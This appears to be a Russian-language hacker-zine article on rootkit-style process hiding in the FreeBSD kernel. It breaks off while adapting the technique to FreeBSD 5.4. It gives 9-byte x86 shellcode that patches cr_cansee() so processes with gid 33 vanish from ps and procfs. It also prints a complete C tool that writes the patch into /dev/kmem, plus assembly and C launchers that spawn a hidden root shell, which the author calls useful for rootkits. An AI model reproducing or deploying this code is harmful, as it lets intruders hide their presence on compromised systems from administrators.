How to have sex with FREEBSD KERNEL
               -===================================-

  c0ntents:

  0x01   description
  0x02   how ps works
  0x03   use kernel hacks
  0x04   writing clipcode
  0x05   actually do the hack (5.0 or 5.1)
  0x06   new wave (5.x >= 3)
  0x07   something wrong?? (4.x)
  0x08   testing on 4.11-release
  0x09   outro

.next:

=[ 0x01  description ]=========================================================

   В этой статье мы займёмся  процесс-хайдингом.  Прикинем,  какими должны
   быть его особенности:

    - маленький размер (чем компактнее, тем больше функциональность)
    - минимум рутины и всякой формальной хуйни
    - отсутствие в списке загруженных модулей ядра
    - отсутствие экпортируемых символов.. а вообще нафиг все символы!
    - таблица системных вызовов должна оставаться неизменной
    - максимальное быстродействие
    - отсутсвие всякой лишней фигни

   Прежде чем вы начнёте читать, вот то что у нас получилось в итоге:

      "\x6a\x0a"
      "\x5a"
      "\x39\x53\x54"
      "\x75\x01"
      "\x40"

   9 байт.  Инъекция в сердце системы, которая позволяют прятать процессы.
   Причём не только паррента, но и его чайлдов. Более того,  благодаря его
   гибкости можно выделывать всё на что хватит фантазии.  Насладились этим
   кодом?? Тогда приступим к повествованию.



=[ 0x02  how ps works ]========================================================

   Для начала было бы совсем не лишним понять, как и откуда ps вытаскивает
   список процессов. Как вам наверное известно (например из статьи d7:0x05
   ) инфу по процессам можно доставать через интерфейс  sysctl().  Если вы
   не поленитесь и загляните в исходный код ps.c, то убедитесь  что копать
   нужно именно всевозможные sysctls.

   Смотрим sys/kern/kern_sysctl.c:

 int
 __sysctl(struct thread *td, struct sysctl_args *uap)
 {
     int error, name[CTL_MAXNAME];
     size_t j;

     if (uap->namelen > CTL_MAXNAME || uap->namelen < 2)
         return (EINVAL);

     error = copyin(uap->name, &name, uap->namelen * sizeof(int));
     if (error)
         return (error);

     mtx_lock(&Giant);

     error = userland_sysctl(td, name, uap->namelen,
         uap->old, uap->oldlenp, 0,
         uap->new, uap->newlen, &j);
     if (error && error != ENOMEM)
         goto done2;
     if (uap->oldlenp) {
         int i = copyout(&j, uap->oldlenp, sizeof(j));
         if (i)
            error = i;
     }
 done2:
     mtx_unlock(&Giant);
     return (error);
 }

   Так, сам системный вызов sysctl() переадресует запрос выше:

 int
 userland_sysctl(struct thread *td, int *name, u_int namelen, void *old,
     size_t *oldlenp, int inkernel, void *new, size_t newlen, size_t *retval)
 {
     int error = 0;
     struct sysctl_req req, req2;

     bzero(&req, sizeof req);

     req.td = td;

     if (oldlenp) {
         if (inkernel) {
             req.oldlen = *oldlenp;
         } else {
             error = copyin(oldlenp, &req.oldlen, sizeof(*oldlenp));
             if (error)
                 return (error);
         }
     }

    if (old) {
         if (!useracc(old, req.oldlen, VM_PROT_WRITE))
             return (EFAULT);
         req.oldptr= old;
     }

     if (new != NULL) {
         if (!useracc(new, req.newlen, VM_PROT_READ))
             return (EFAULT);
         req.newlen = newlen;
         req.newptr = new;
     }

     req.oldfunc = sysctl_old_user;
     req.newfunc = sysctl_new_user;
     req.lock = 1;

     SYSCTL_LOCK();

 #ifdef MAC
     error = mac_check_system_sysctl(td->td_ucred, name, namelen, old,
         oldlenp, inkernel, new, newlen);
     if (error) {
         SYSCTL_UNLOCK();
         return (error);
     }
 #endif

     do {
         req2 = req;
         error = sysctl_root(0, name, namelen, &req2);
         //        ^^^^^ damn, dismissed again ((
     } while (error == EAGAIN);


   Чёртов user_sysctl пинает  нас дальше по кишкам ядра,  посмотрим что же
   нас ждёт дальше:

 static int
 sysctl_root(SYSCTL_HANDLER_ARGS)
 {
     struct sysctl_oid *oid;
     int error, indx;

     error = sysctl_find_oid(arg1, arg2, &oid, &indx, req);
     if (error)
         return (error);

     if ((oid->oid_kind & CTLTYPE) == CTLTYPE_NODE) {
         /*
          * You can't call a sysctl when it's a node, but has
          * no handler.  Inform the user that it's a node.
          * The indx may or may not be the same as namelen.
          */
         if (oid->oid_handler == NULL)
             return (EISDIR);
     }

     /* Is this sysctl writable? */
     if (req->newptr && !(oid->oid_kind & CTLFLAG_WR))
         return (EPERM);

     KASSERT(req->td != NULL, ("sysctl_root(): req->td == NULL"));

     /* Is this sysctl sensitive to securelevels? */
     if (req->newptr && (oid->oid_kind & CTLFLAG_SECURE)) {
         error = securelevel_gt(req->td->td_ucred, 0);
         if (error)
             return (error);
     }

     /* Is this sysctl writable by only privileged users? */
     if (req->newptr && !(oid->oid_kind & CTLFLAG_ANYBODY)) {
         int flags;

         if (oid->oid_kind & CTLFLAG_PRISON)
             flags = PRISON_ROOT;
         else
             flags = 0;
         error = suser_cred(req->td->td_ucred, flags);
         if (error)
             return (error);
     }

     if (!oid->oid_handler)
         return EINVAL;

     if ((oid->oid_kind & CTLTYPE) == CTLTYPE_NODE)
         error = oid->oid_handler(oid, (int *)arg1 + indx, arg2 - indx,
             req);
     else
         error = oid->oid_handler(oid, oid->oid_arg1, oid->oid_arg2,
             req);
     return (error);
 }


   Таак,  теперь вызывается собственно обработчик sysctl-a,  к которому мы
   и хотим обратиться. Опять таки, в исходниках ps можно увидеть,  что это
   KERN_PROC. Смотрим далее файл sys/kern/kern_proc.c:

 static int
 sysctl_kern_proc(SYSCTL_HANDLER_ARGS)
 {
     int *name = (int*) arg1;
     u_int namelen = arg2;
     struct proc *p;
     int doingzomb;
     int error = 0;

     if (oidp->oid_number == KERN_PROC_PID) {
         if (namelen != 1)
             return (EINVAL);
         p = pfind((pid_t)name[0]);
         if (!p)
             return (0);
         if (p_cansee(curthread, p)) {
             PROC_UNLOCK(p);
             return (0);
        }
         error = sysctl_out_proc(p, req, 0);
         return (error);
     }
     if (oidp->oid_number == KERN_PROC_ALL && !namelen)
         ;
     else if (oidp->oid_number != KERN_PROC_ALL && namelen == 1)
         ;
     else
         return (EINVAL);

     if (!req->oldptr) {
         /* overestimate by 5 procs */
         error = SYSCTL_OUT(req, 0, sizeof (struct kinfo_proc) * 5);
         if (error)
             return (error);
     }
     sysctl_wire_old_buffer(req, 0);
     sx_slock(&allproc_lock);
     for (doingzomb=0 ; doingzomb < 2 ; doingzomb++) {
         if (!doingzomb)
             p = LIST_FIRST(&allproc);
         else
             p = LIST_FIRST(&zombproc);
         for (; p != 0; p = LIST_NEXT(p, p_list)) {  [1] ****************
             PROC_LOCK(p);
             /*
              * Show a user only appropriate processes.
              */
             if (p_cansee(curthread, p)) {    [2] ***********************
                 PROC_UNLOCK(p);
                 continue;
             }
             /*
              * Skip embryonic processes.
              */
             if (p->p_state == PRS_NEW) {     [3] **********************
                 PROC_UNLOCK(p);
                 continue;
             }
 ...

   Похоже вот как-раз то, что нам нужно.  В  цикле [1]  функция  пробегает
   по списку процессов,  при этом если срабатывает триггер [2] или [3], то
   процесс пропускается.


   Самым тривиальным решением было бы выставлять p_state = PRS_NEW, но это
   во-первых  не будет  действовать на  чайлдов (после fork() или execve()
   ядро выставит  p_state обратно в нормальное  состояние и процесс станет
   видимым.  К тому же,  размер процесс-хайдера будет весьма велик,  а это
   не есть гуд.


   Теперь посмотрим на пункт [2], вызов p_cansee() уже должен был наводить
   на некоторые мысли.  Если вспомнить возможности системы,  то  среди них
   есть и такая: можно оградить непривилегированные процессы,  разрешив им
   видеть только собственных чайлдов. Похоже вот и решение...




=[ 0x03  use kernel hacks ]====================================================

   Теперь  необходимо  посмотреть исходники функции p_cansee(),  их  можно
   найти в sys/kern/kern_prot.c:

 /*-
  * Determine if td "can see" the subject specified by p.
  * Returns: 0 for permitted, an errno value otherwise
  * Locks: Sufficient locks to protect p->p_ucred must be held.  td really
  *        should be curthread.
  * References: td and p must be valid for the lifetime of the call
  */
 int
 p_cansee(struct thread *td, struct proc *p)
 {

     /* Wrap cr_cansee() for all functionality. */
     KASSERT(td == curthread, ("%s: td not curthread", __func__));
     PROC_LOCK_ASSERT(p, MA_OWNED);
     return (cr_cansee(td->td_ucred, p->p_ucred));
 }


   Ок, суть в том, что если функция возвращает 0 процесс отображается, а в
   противном случае - нет. Стало быть нам нужно подправить эту функцию. Но
   тут есть одна мелочь  -  нам понадобится вытаскивать структуру ucred, а
   это   лишний  размер.  Тем  более, что  указатель  на  структуру  ucred
   интересующего нас процесса передаётся cr_cansee(),  откуда выцепить его
   будет легче. Смотрим исходник:

 int
 cr_cansee(struct ucred *u1, struct ucred *u2)
 {
     int error;

     if ((error = prison_check(u1, u2)))
         return (error);
 #ifdef MAC
     if ((error = mac_check_cred_visible(u1, u2)))
        return (error);
 #endif
     if ((error = cr_seeotheruids(u1, u2)))
         return (error);
     return (0);
 }

   Здорово! Теперь посмотрим дампы этих функций:

 # nm /boot/kernel/kernel | grep p_cansee
 c02e40d0 T p_cansee
 # nm /boot/kernel/kernel | grep cr_cansee
 c02e4080 T cr_cansee
 # objdump -d --start-address=0xc02e4080 --stop-address=0xc02e40ff

 /boot/kernel/kernel:     file format elf32-i386-freebsd

 Disassembly of section .text:

 c02e4080 <cr_cansee>:
 c02e4080:   55                      push   %ebp
 c02e4081:   89 e5                   mov    %esp,%ebp
 c02e4083:   83 ec 10                sub    $0x10,%esp
 c02e4086:   89 5d f8                mov    %ebx,0xfffffff8(%ebp)
 c02e4089:   89 75 fc                mov    %esi,0xfffffffc(%ebp)
 c02e408c:   8b 75 08                mov    0x8(%ebp),%esi
 c02e408f:   8b 5d 0c                mov    0xc(%ebp),%ebx
 c02e4092:   89 5c 24 04             mov    %ebx,0x4(%esp,1)
 c02e4096:   89 34 24                mov    %esi,(%esp,1)
 c02e4099:   e8 b2 29 ff ff          call   c02d6a50 <prison_check>
 c02e409e:   85 c0                   test   %eax,%eax
 c02e40a0:   75 19                   jne    c02e40bb <cr_cansee+0x3b>
 c02e40a2:   89 5c 24 04             mov    %ebx,0x4(%esp,1)
 c02e40a6:   89 34 24                mov    %esi,(%esp,1)
 c02e40a9:   e8 82 ff ff ff          call   c02e4030 <cr_seeotheruids>
 c02e40ae:   89 c2                   mov    %eax,%edx
 c02e40b0:   85 c0                   test   %eax,%eax
 c02e40b2:   0f 94 c0                sete   %al
 c02e40b5:   0f b6 c0                movzbl %al,%eax
 c02e40b8:   48                      dec    %eax
 c02e40b9:   21 d0                   and    %edx,%eax
 c02e40bb:   8b 5d f8                mov    0xfffffff8(%ebp),%ebx
 c02e40be:   8b 75 fc                mov    0xfffffffc(%ebp),%esi
 c02e40c1:   89 ec                   mov    %ebp,%esp
 c02e40c3:   5d                      pop    %ebp
 c02e40c4:   c3                      ret
 c02e40c5:   8d 74 26 00             lea    0x0(%esi,1),%esi
 c02e40c9:   8d bc 27 00 00 00 00    lea    0x0(%edi,1),%edi

 c02e40d0 <p_cansee>:
 c02e40d0:   55                      push   %ebp
 c02e40d1:   89 e5                   mov    %esp,%ebp
 c02e40d3:   83 ec 08                sub    $0x8,%esp
 c02e40d6:   8b 45 0c                mov    0xc(%ebp),%eax
 c02e40d9:   8b 40 20                mov    0x20(%eax),%eax
 c02e40dc:   89 44 24 04             mov    %eax,0x4(%esp,1)
 c02e40e0:   8b 45 08                mov    0x8(%ebp),%eax
 c02e40e3:   8b 40 78                mov    0x78(%eax),%eax
 c02e40e6:   89 04 24                mov    %eax,(%esp,1)
 c02e40e9:   e8 92 ff ff ff          call   c02e4080 <cr_cansee>
 c02e40ee:   89 ec                   mov    %ebp,%esp
 c02e40f0:   5d                      pop    %ebp
 c02e40f1:   c3                      ret
 c02e40f2:   8d b4 26 00 00 00 00    lea    0x0(%esi,1),%esi
 c02e40f9:   8d bc 27 00 00 00 00    lea    0x0(%edi,1),%edi


   Теперь прикинем наши возможности,  в p_cansee() свободно 14 байт,  куда
   можно дропнуть clipcode, а в cr_cansee()  -  всего 11.  Наверное вы уже
   догадались, что патчить будем именно cr_cansee()? -)



=[ 0x04  writing clipcode ]====================================================

   Сперва  стоит сказать  пару слов о том,  как работает  стек при  вызове
   функции например huy_zabey(int a, int b).  Посмотрим  дамп какой-нибудь
   левой функции, и что же мы видим:

 08048538 <huy_zabey>:
  8048538:   55                      push   %ebp
  8048539:   89 e5                   mov    %esp,%ebp
  804853b:   83 ec 08                sub    $0x8,%esp
 ...

   Итак, что же происходит? При вызове функции сперва с стек кладётся eip,
   чтобы после ret-a можно было после huy_zabey() вернуться к месту вызова
   и продолжить выполнение функции (например main() ). Потом дампается ebp
   (push %ebp), в ebp тем временем сохраняется указатель на участок стека,
   с которым работала main().  Чтобы  не  обламывать её,  в конец  функции
   компилятор добавляет такие строчки:

 8048549:   89 ec                   mov    %ebp,%esp
 804854b:   5d                      pop    %ebp
 804854c:   c3                      ret

   Действие  их  соответственно  обратно приведённому выше:  из  ebp в esp
   кладётся  старое  значение   стекового  указателя,   потом   из   стека
   восстанавливается оригинальное значение ebp и уже после этого идёт ret,
   тоесть возвращение к адресу, сдампаному в стек перед ebp (saved eip). А
   вот если нашей функции передаются аргументы (пусть это будут int a, int
   b как в описанном примере huy_zabey() ), то указатели на них кладутся в
   стек  до eip  (если аргумент  -  число, то кладётся не указатель, а его
   значение). Таким образом, мы можем вытащить arg[1] aka a и arg[2] aka b
   таким вот образом:

   mov 0x8(%ebp), %eax # перепрыгиваем через сохранённые ebp и eip (оффсет
                       # 8 байт соответсвенно) и берём первый аргумент (a)

   mov 0xc(%ebp), %eax # скачем  через ebp , eip и первый аргумент и берём
                       # второй (смещение - 12 байт или 0x0c)

  Если ещё непонятно вот структура стека после работы инициалирующего кода
  (т.е. в нашем случае после sub $0x8,%esp):

0x0c   < arg2 >  - указатель или значение второго аргумента
0x08   < arg1 >  - указатель или значение первого аргумента
0x04   < %eip >  - собственно то, что любят перезаписывать при b0f ))
0x00>  < %ebp >  - ebp кладётся в стек в самом начале (push %ebp),  именно
                   сюда показывает наш стек

  Кстати, значение, возвращаемое функцией дожно храниться в %eax.  В нашем
  случае, там будет либо 0, либо код ошибки, описывающей почему же юзер не
  может видеть данный процесс.

  Итак, смотрим что же у нас есть в cr_cansee():

 c02e4080 <cr_cansee>:
 c02e4080:   55                      push   %ebp
 c02e4081:   89 e5                   mov    %esp,%ebp
 c02e4083:   83 ec 10                sub    $0x10,%esp
 c02e4086:   89 5d f8                mov    %ebx,0xfffffff8(%ebp)
 c02e4089:   89 75 fc                mov    %esi,0xfffffffc(%ebp)
 c02e408c:   8b 75 08                mov    0x8(%ebp),%esi  // кладём указатель
                                                   // на первый аргумент в %esi
 c02e408f:   8b 5d 0c                mov    0xc(%ebp),%ebx  // кладём указатель
                                                   // на второй аргумент в %ebx
 ...


   Легко видеть что в %esi кладётся указатель на структуру ucred процесса,
   который делает системный вызов. В %ebx кладётся указатель на ucred того
   проца, который мы хотим прятать. Далее вызываются функции  prison_check
   и cr_seeotheruids() и в конце если ни одна из них не возвратила ошибку,
   возвращается 0. Наша задача такова - из второй структуры ucred (ака 2-й
   аргумент, указатель на который уже лежит в ebx)  вытащить  какое-нибудь
   значение (пусть это будет gid) и если оно не равно нашему определённому
   значению (скажем 33 ака 0x21) то возвращаем 0,  иначе даём  скажем  1 и
   наш процесс не отображается. Есть маленькая проблема -  нужно уложиться
   в 11 байт (хотя можно прыгать  по nop-овым участкам других  функций, но
   опять-таки размер тут играет решающую роль).


   Вот собственно и рабочий clip_code:

 ...
  8048541:   6a 0a               push   $0x21
  8048543:   5a                  pop    %edx
  8048544:   39 53 54            cmp    %edx, 0x54(%ebx) // сравниваем gid с 33
  8048546:   75 01               jne    8048549 <.nxt>
  8048548:   40                  inc    %eax  // если совпадает то
                                              // увеличиваем %eax (было 0)
 ...


   А вот и его дамп, вы уже видели его в начале статьи:

   // evil mad FreeBSD x86  process hiding clipcode

    "\x6a\x21"    // 0x21 == 33 gid
    "\x5a"
    "\x39\x53\x54"
    "\x75\x01"
    "\x40"

   // 9 bytes total




=[ 0x05  actually do the hack ]================================================

   Теперь,  чтобы вогнать  сыворотку в ядро, нам нужен шприц (в народе его
   называют баян - не спрашивайте, откуда я знаю )). Итак, что же нам надо
   делать:

   - находим оффсет к нужной точке в ядре, куда будем вгонять

   - добавляем ret-code, который бы завершал функцию корректно после
     модификации её нашим софтом.

   - открываем /dev/kmem,

   - перемещаем указатель в файле по полученному ранее оффсету (via lseek() )

   - пишем собственно clip_code + ret_code


   Вот пример такого кода:

 // klmn.c  - FreeBSD 5.0-Release process hiding tool by defaced staff

 #include <stdio.h>
 #include <fcntl.h>
 #include <sys/stat.h>

 #define  START       0xc02e40bb // offset for FreeBSD 5.0-Release
 #define  CLIP_SZ     9
 #define  RET_SZ      10
 #define  SIZE        CLIP_SZ + RET_SZ


 char clip_code[] =

 // FreeBSD x86  process hiding code  (9 bytes)
  "\x6a\x21"
  "\x5a"
  "\x39\x53\x54"
  "\x75\x01"
  "\x40"

 // ret-code ripped from dump of cr_cansee()
  "\x8b\x5d\xf8"
  "\x8b\x75\xfc"
  "\x89\xec"
  "\x5d"
  "\xc3";


 int main(int argc, char *argv[])
 {
   unsigned int fd, c ,a=0;
   unsigned char b;

   if (argc < 2)
   {
     printf("usage: %s < on | off | show >\n", argv[0]);
     return 0;
   }

   if (strcmp(argv[1], "on") == 0) a = 1;
   if (strcmp(argv[1], "off") == 0) a = 2;
   if (strcmp(argv[1], "show") == 0) a = 3;

   if (a == 0) return 0;

   fd = open("/dev/kmem", O_RDWR);

   if (fd < 0)
   {
     printf("[-] cant open /dev/kmem\n");
     return 0;
   }

   if (lseek(fd, START, 0) < 0)
   {
     printf("[-] cant do lseek()\n");
     close(fd);
     return 0;
   }

   if (a == 1)
   {

     write(fd, &clip_code, SIZE);
     printf("process hiding is on\n");

   } else if (a == 2) {

     b = 0x90;
     for (a=0; a < CLIP_SZ; a++) write(fd, &b, 1);
     printf("process hiding is off\n");

   } else if (a == 3) {

     /* do some dirty hex-dump */
     for (a=0; a < SIZE; a++)
     {
       read(fd, &b, 1);
       printf("%i: 0x%x\n", a, b);
     }

   }

   close(fd);
   return 0;
 }


 root~# cat shell.s

 # simple login utility

   # setgid(0x21)

   xorl %eax, %eax
   push $0x21
   push $181
   push %eax
   int $128

   # execve(/bin/sh)
   xor %eax,%eax
   push %eax
   pushl $0x68732f6e
   pushl $0x69622f2f
   movl %esp,%ebx
   push %eax
   pushl %ebx
   movl %esp,%edx
   push %eax
   pushl %edx
   pushl %ebx
   pushl $59
   push %eax
   int $128

   # exit()
   xor %eax,%eax
   push $1
   push %eax
   int $128


   Это пригодится для всяких руткитов и так далее, вот более показательный
   пример:

 root~# cat shell.c

 #include <stdio.h>

 int main()
 {
   unsigned short pid;
   char *argz[] = {"sh", 0};

   pid = fork();

   if (pid > 0)
   {
     printf("got pid %i\n", pid);
     waitpid(pid, 0, 0);
     return 0;
   }

   setgid(0x21);
   execve("/bin/sh", &argz, 0);
   return 0;
 }


   Теперь тест:

 root~# ./shell
 got pid 447
 # id
 uid=0(root) gid=10 groups=10, 0(wheel), 5(operator)
 # ps -auxw
 USER    PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME COMMAND
 root     11 96.9  0.0     0   12  ??  RL    1Jan70   0:49.36  (idle)
 root     10  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (ktrace)
 root      1  0.0  0.1   712  368  ??  SLs   1Jan70   0:00.00 /sbin/init --
 root     12  0.0  0.0     0   12  ??  WL    1Jan70   0:00.02  (swi6: tty:sio clock)
 root     14  0.0  0.0     0   12  ??  WL    1Jan70   0:00.00  (swi1: net)
 root      2  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (g_event)
 root      3  0.0  0.0     0   12  ??  DL    1Jan70   0:00.01  (g_up)
 root      4  0.0  0.0     0   12  ??  DL    1Jan70   0:00.05  (g_down)
 root     15  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (random)
 root     19  0.0  0.0     0   12  ??  WL    1Jan70   0:00.00  (swi5: acpitaskq)
 root     21  0.0  0.0     0   12  ??  WL    1Jan70   0:00.01  (irq11: rl0 acpi0)
 root      5  0.0  0.0     0   12  ??  IL    1Jan70   0:00.00  (acpi_task0)
 root      6  0.0  0.0     0   12  ??  IL    1Jan70   0:00.00  (acpi_task1)
 root      7  0.0  0.0     0   12  ??  IL    1Jan70   0:00.00  (acpi_task2)
 root     22  0.6  0.0     0   12  ??  WL    1Jan70   0:01.73  (irq14: ata0)
 root     23  0.0  0.0     0   12  ??  WL    1Jan70   0:00.00  (irq15: ata1)
 root     28  0.0  0.0     0   12  ??  WL    1Jan70   0:00.00  (irq6: fdc0)
 root     33  0.0  0.0     0   12  ??  WL    1Jan70   0:00.01  (irq1: atkbd0)
 root      8  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (pagedaemon)
 root      9  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (vmdaemon)
 root     37  0.0  0.0     0   12  ??  DL    1Jan70   0:01.12  (pagezero)
 root     38  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (bufdaemon)
 root     39  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (syncer)
 root     40  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (vnlru)
 root    420  0.0  0.2  1532 1188  v0  Is   11:06PM   0:00.02 login [pam] (login)
 root    421  0.0  0.1  1184  864  v1  Is+  11:06PM   0:00.00 /usr/libexec/getty Pc ttyv1
 root    422  0.0  0.1  1184  864  v2  Is+  11:06PM   0:00.00 /usr/libexec/getty Pc ttyv2
 root    423  0.0  0.1  1184  864  v3  Is+  11:06PM   0:00.00 /usr/libexec/getty Pc ttyv3
 root    424  0.0  0.1  1184  864  v4  Is+  11:06PM   0:00.00 /usr/libexec/getty Pc ttyv4
 root    425  0.0  0.2  1492 1052  v0  S    11:06PM   0:00.02 -csh (csh)
 root    446  0.0  0.1  1108  552  v0  S+   11:06PM   0:00.00 ./shell
 root    447  0.0  0.1   856  640  v0  R+   11:06PM   0:00.00 sh
 root      0  0.0  0.0     0   12  ??  DLs   1Jan70   0:00.00  (swapper)
 root    449  0.0  0.1   652  480  v0  R+   11:06PM   0:00.00 ps -auxw


   Как видите,  тут наши процессы видны( pid 447 и 449).  Теперь  запустим
   klmn:

 root~# ./klmn on
 root~# ./shell
 got pid 461
 USER    PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME COMMAND
 root     11 99.0  0.0     0   12  ??  RL    1Jan70   3:23.18  (idle)
 root     10  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (ktrace)
 root      1  0.0  0.1   712  368  ??  ILs   1Jan70   0:00.00 /sbin/init --
 root     12  0.0  0.0     0   12  ??  WL    1Jan70   0:00.07  (swi6: tty:sio clock)
 root     14  0.0  0.0     0   12  ??  WL    1Jan70   0:00.00  (swi1: net)
 root      2  0.0  0.0     0   12  ??  DL    1Jan70   0:00.01  (g_event)
 root      3  0.0  0.0     0   12  ??  DL    1Jan70   0:00.01  (g_up)
 root      4  0.0  0.0     0   12  ??  DL    1Jan70   0:00.06  (g_down)
 root     15  0.0  0.0     0   12  ??  DL    1Jan70   0:00.01  (random)
 root     19  0.0  0.0     0   12  ??  WL    1Jan70   0:00.00  (swi5: acpitaskq)
 root     21  0.0  0.0     0   12  ??  WL    1Jan70   0:00.07  (irq11: rl0 acpi0)
 root      5  0.0  0.0     0   12  ??  IL    1Jan70   0:00.00  (acpi_task0)
 root      6  0.0  0.0     0   12  ??  IL    1Jan70   0:00.00  (acpi_task1)
 root      7  0.0  0.0     0   12  ??  IL    1Jan70   0:00.00  (acpi_task2)
 root     22  0.0  0.0     0   12  ??  WL    1Jan70   0:01.76  (irq14: ata0)
 root     23  0.0  0.0     0   12  ??  WL    1Jan70   0:00.00  (irq15: ata1)
 root     28  0.0  0.0     0   12  ??  WL    1Jan70   0:00.00  (irq6: fdc0)
 root     33  0.0  0.0     0   12  ??  WL    1Jan70   0:00.02  (irq1: atkbd0)
 root      8  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (pagedaemon)
 root      9  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (vmdaemon)
 root     37  0.0  0.0     0   12  ??  DL    1Jan70   0:01.12  (pagezero)
 root     38  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (bufdaemon)
 root     39  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (syncer)
 root     40  0.0  0.0     0   12  ??  DL    1Jan70   0:00.00  (vnlru)
 root    420  0.0  0.2  1532 1188  v0  Is   11:06PM   0:00.02 login [pam] (login)
 root    421  0.0  0.1  1184  864  v1  Is+  11:06PM   0:00.00 /usr/libexec/getty Pc ttyv1
 root    422  0.0  0.1  1184  864  v2  Is+  11:06PM   0:00.00 /usr/libexec/getty Pc ttyv2
 root    423  0.0  0.1  1184  864  v3  Is+  11:06PM   0:00.00 /usr/libexec/getty Pc ttyv3
 root    424  0.0  0.1  1184  864  v4  Is+  11:06PM   0:00.00 /usr/libexec/getty Pc ttyv4
 root    425  0.0  0.2  1492 1052  v0  S    11:06PM   0:00.02 -csh (csh)
 root      0  0.0  0.0     0   12  ??  DLs   1Jan70   0:00.00  (swapper)
 root    460  0.0  0.1  1096  552  v0  S    11:09PM   0:00.00 ./shell


   Теперь же наших процессов не видно (pid 461 и хз какой у ps )). Кстати,
   т.к. procfs используют ту же методику  получения списка активных задач,
   наш процесс тоже не засветится! Вот и всё!



=[ 0x06  new wave (5.x <= 3) ]=================================================

   А в чём спрашивается, проблема? Посмотрим дампы например FreeBSD 5.4:

 root~# objdump -d --start-address=0xc0608890 --stop-address=0xc06088ff
 /boot/kernel/kernel

 /boot/kernel/kernel:     file format elf32-i386-freebsd

 Disassembly of section .text:

 c0608890 <cr_cansee>:
 c0608890:       55                      push   %ebp
 c0608891:       89 e5                   mov    %esp,%ebp
 c0608893:       56                      push   %esi
 c0608894:       53                      push   %ebx
 c0608895:       8b 75 08                mov    0x8(%ebp),%esi
 c0608898:       8b 5d 0c                mov    0xc(%ebp),%ebx
 c060889b:       53                      push   %ebx
 c060889c:       56                      push   %esi
 c060889d:       e8 e6 09 ff ff          call   c05f9288 <prison_check>
 c06088a2:       83 c4 08                add    $0x8,%esp
 c06088a5:       89 c2                   mov    %eax,%edx
 c06088a7:       85 c0                   test   %eax,%eax
 c06088a9:       75 1d                   jne    c06088c8 <cr_cansee+0x38>
 c06088ab:       53                      push   %ebx
 c06088ac:       56                      push   %esi
 c06088ad:       e8 2e ff ff ff          call   c06087e0 <cr_seeotheruids>
 c06088b2:       83 c4 08                add    $0x8,%esp
 c06088b5:       89 c2                   mov    %eax,%edx
 c06088b7:       85 c0                   test   %eax,%eax
 c06088b9:       75 0d                   jne    c06088c8 <cr_cansee+0x38>
 c06088bb:       53                      push   %ebx
 c06088bc:       56                      push   %esi
 c06088bd:       e8 5a ff ff ff          call   c060881c <cr_seeothergids>
 c06088c2:       83 c4 08                add    $0x8,%esp
 c06088c5:       89 c2                   mov    %eax,%edx
 c06088c7:       90                      nop
 c06088c8:       89 d0                   mov    %edx,%eax
 c06088ca:       8d 65 f8                lea    0xfffffff8(%ebp),%esp
 c06088cd:       5b                      pop    %ebx
 c06088ce:       5e                      pop    %esi
 c06088cf:       c9                      leave
 c06088d0:       c3                      ret
 c06088d1:       8d 76 00                lea    0x0(%esi),%esi

 c06088d4 <p_cansee>:
 c06088d4:       55                      push   %ebp
 c06088d5:       89 e5                   mov    %esp,%ebp
 c06088d7:       8b 45 0c                mov    0xc(%ebp),%eax
 c06088da:       ff 70 20                pushl  0x20(%eax)
 c06088dd:       8b 45 08                mov    0x8(%ebp),%eax
 c06088e0:       ff b0 80 00 00 00       pushl  0x80(%eax)
 c06088e6:       e8 a5 ff ff ff          call   c0608890 <cr_cansee>
 c06088eb:       c9                      leave
 c06088ec:       c3                      ret
 c06088ed:       8d 76 00                lea    0x0(%esi),%esi


   Как вы видите, в последних версиях ветки 5.х код неплохо оптимизирован,
   так что места под клипкод просто так не обломится. Задача такова:  есть
   функция, с 4-мя свободными байтами (3 байта после ret-а и 1 nop),  туда
   необходимо загнать 9 байт клипкода, при этом не повредив регистры (%edx
   не в счёт,  в этом можно  убедиться исходя  из приведённого выше дампа)
   и, конечно, сохранив её функциональность.


   Решение снова не самое сложное  -  перепишем-ка функцию  cr_cansee() на
   ассемблере.    Сперва   её   суть:   подряд  вызываются   prison_check,
   cr_seeotheruids и cr_seeothergids,  после каждого  вызова идут проверки
   возвращённого значения, если он не ноль (test %eax, %eax;  jne bla-bla)
   то происходит  локал-джамп  к опкодам, завершающим функцию.  Что же нам
   теперь сделать? Одно из решений: в edx класть сумму возвращённых eax-ов
   и соответственно, если всё ок то 0 в edx и будет.  В противном  случае,
   cr_cansee() вернёт, как и положено, значение  большее нуля, всё пройдёт
   как нужно,  а ковыряться что именно там за бага,  админ скорее всего не
   будет.


   Итак, прикинем сколько можно освободить места таким способом:

 c0608890 <cr_cansee>:
 c0608890:       55                      push   %ebp
 c0608891:       89 e5                   mov    %esp,%ebp
 c0608893:       56                      push   %esi
 c0608894:       53                      push   %ebx
 c0608895:       8b 75 08                mov    0x8(%ebp),%esi
 c0608898:       8b 5d 0c                mov    0xc(%ebp),%ebx
 c060889b:       53                      push   %ebx
 c060889c:       56                      push   %esi
 c060889d:       e8 e6 09 ff ff          call   c05f9288 <prison_check>
 c06088a2:       83 c4 08                add    $0x8,%esp
 c06088a5:       89 c2                   mov    %eax,%edx

 # эти 2 инструкции нахер:
 c06088a7:       85 c0                   test   %eax,%eax
 c06088a9:       75 1d                   jne    c06088c8 <cr_cansee+0x38>

 c06088ab:       53                      push   %ebx
 c06088ac:       56                      push   %esi
 c06088ad:       e8 2e ff ff ff          call   c06087e0 <cr_seeotheruids>
 c06088b2:       83 c4 08                add    $0x8,%esp

 # меняем на addl %eax, %edx, в edx будет сумма результатов
 c06088b5:       89 c2                   mov    %eax,%edx

 # эти 2 тоже нахер:
 c06088b7:       85 c0                   test   %eax,%eax
